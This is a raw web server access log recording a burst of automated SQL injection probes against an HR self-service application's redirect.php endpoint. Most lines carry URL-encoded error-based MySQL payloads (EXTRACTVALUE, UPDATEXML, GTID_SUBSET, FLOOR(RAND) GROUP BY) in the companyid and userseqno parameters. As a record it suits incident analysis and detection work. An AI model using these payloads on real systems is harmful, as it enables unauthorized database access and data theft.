100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x30547744%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44505765%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x30547744%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44505765%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:11 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f333033%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58443770%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x30547744%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44505765%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d343750%2C%28NULL%29%2C0x45486c71%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6d343750%2C%28NULL%29%2C0x45486c71%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x504e6854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34747864%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x504e6854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34747864%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5477724f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f44314a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5477724f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f44314a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5450564c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30417553%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x5450564c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30417553%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47677734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x327a7734%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47677734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x327a7734%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x456a546f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b415a56%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x456a546f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b415a56%29%2C6420%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35457771%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74473143%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35457771%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74473143%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x73504875%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43367a63%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x73504875%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43367a63%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x71747637%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a566a6a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x71747637%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a566a6a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x55424333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a32496e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x55424333%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a32496e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a775668%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e536543%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4a775668%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e536543%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x74466c4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e454944%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x74466c4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e454944%29%2C5431%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
